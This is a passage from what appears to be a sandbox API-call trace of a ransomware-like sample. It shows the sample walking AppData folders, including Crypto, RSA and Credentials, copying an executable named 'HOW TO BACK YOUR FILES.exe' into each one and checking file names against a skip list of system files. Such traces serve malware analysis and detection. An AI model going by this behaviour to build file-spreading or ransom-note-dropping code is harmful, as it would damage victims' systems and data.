	[0054.461] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.461] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e568fb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e568fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0054.461] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.461] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b50
	[0054.461] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto"
	[0054.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8fa0 | out: hHeap=0x580000) returned 1
	[0054.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b48 | out: hHeap=0x580000) returned 1
	[0054.462] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto") returned 49
	[0054.462] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto"
	[0054.462] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.462] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crypto\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0054.462] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.462] GetLastError () returned 0x0
	[0054.462] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0054.462] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0054.462] CloseHandle (hObject=0x14c) returned 1
	[0054.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0054.462] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.463] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e568fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e568fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.463] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.463] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.463] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.463] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e568fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e568fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.463] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.463] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.463] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.463] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.463] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e568fb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e568fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.463] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.463] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e58f110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e58f110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1
	[0054.463] lstrcmpiW (lpString1="RSA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.463] lstrcmpiW (lpString1="RSA", lpString2="Apollon865.txt.exe") returned 1
	[0054.463] lstrcmpiW (lpString1="RSA", lpString2=".") returned 1
	[0054.463] lstrcmpiW (lpString1="RSA", lpString2="..") returned 1
	[0054.463] lstrcmpiW (lpString1="RSA", lpString2="windows") returned -1
	[0054.463] lstrcmpiW (lpString1="RSA", lpString2="bootmgr") returned 1
	[0054.463] lstrcmpiW (lpString1="RSA", lpString2="temp") returned -1
	[0054.463] lstrcmpiW (lpString1="RSA", lpString2="pagefile.sys") returned 1
	[0054.463] lstrcmpiW (lpString1="RSA", lpString2="boot") returned 1
	[0054.463] lstrcmpiW (lpString1="RSA", lpString2="ids.txt") returned 1
	[0054.463] lstrcmpiW (lpString1="RSA", lpString2="ntuser.dat") returned 1
	[0054.463] lstrcmpiW (lpString1="RSA", lpString2="perflogs") returned 1
	[0054.463] lstrcmpiW (lpString1="RSA", lpString2="MSBuild") returned 1
	[0054.463] lstrlenW (lpString="RSA") returned 3
	[0054.463] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\*") returned 51
	[0054.463] lstrcpyW (in: lpString1=0x119e66c, lpString2="RSA" | out: lpString1="RSA") returned="RSA"
	[0054.463] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b48
	[0054.464] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59a920
	[0054.464] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b50 | out: ListHead=0x5b75f0, ListEntry=0x5b7b50) returned 0x5b7a90
	[0054.464] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e58f110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e58f110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0
	[0054.464] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.464] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b50
	[0054.464] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA"
	[0054.464] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.464] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b48 | out: hHeap=0x580000) returned 1
	[0054.464] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned 53
	[0054.464] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA"
	[0054.464] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.464] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crypto\\rsa\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0054.464] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.464] GetLastError () returned 0x0
	[0054.464] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0054.465] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0054.465] CloseHandle (hObject=0x14c) returned 1
	[0054.465] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0054.465] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.465] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e58f110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e58f110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.465] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.465] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.465] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.465] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e58f110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e58f110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.465] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.465] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.465] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.465] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.465] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e58f110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e58f110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.465] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.465] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e58f110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e58f110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0054.465] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.465] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a90
	[0054.465] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials"
	[0054.465] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0054.465] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0054.465] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials") returned 54
	[0054.466] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials"
	[0054.466] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.466] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\credentials\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0054.466] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.466] GetLastError () returned 0x0
	[0054.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0054.466] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0054.466] CloseHandle (hObject=0x14c) returned 1
	[0054.466] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0054.466] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.466] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e58f110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e58f110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.466] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.467] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.467] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.467] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e58f110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e58f110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.467] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.467] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.467] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.467] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.467] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e58f110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e58f110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.467] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.467] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e58f110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e58f110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0054.467] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.467] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bb0
	[0054.467] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Identities", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Identities") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities"
	[0054.467] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598408 | out: hHeap=0x580000) returned 1
	[0054.467] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ba8 | out: hHeap=0x580000) returned 1
	[0054.467] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Identities") returned 43
	[0054.467] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Identities" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Identities") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities"
	[0054.467] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.467] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\identities\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0054.468] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.468] GetLastError () returned 0x0
	[0054.468] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0054.468] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0054.468] CloseHandle (hObject=0x14c) returned 1
	[0054.468] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0054.468] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.468] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e58f110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e58f110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.468] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.468] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.468] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.468] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e58f110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e58f110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.468] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.468] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.468] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.468] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.468] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e58f110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e58f110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.468] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.468] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e5b5270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e5b5270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 1
	[0054.468] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.468] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="Apollon865.txt.exe") returned -1
	[0054.469] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2=".") returned 1
	[0054.469] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="..") returned 1
	[0054.469] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="windows") returned -1
	[0054.469] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="bootmgr") returned -1
	[0054.469] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="temp") returned -1
	[0054.469] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="pagefile.sys") returned -1
	[0054.469] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="boot") returned -1
	[0054.469] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="ids.txt") returned -1
	[0054.469] lstrcmpiW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="ntuser.dat") returned -1
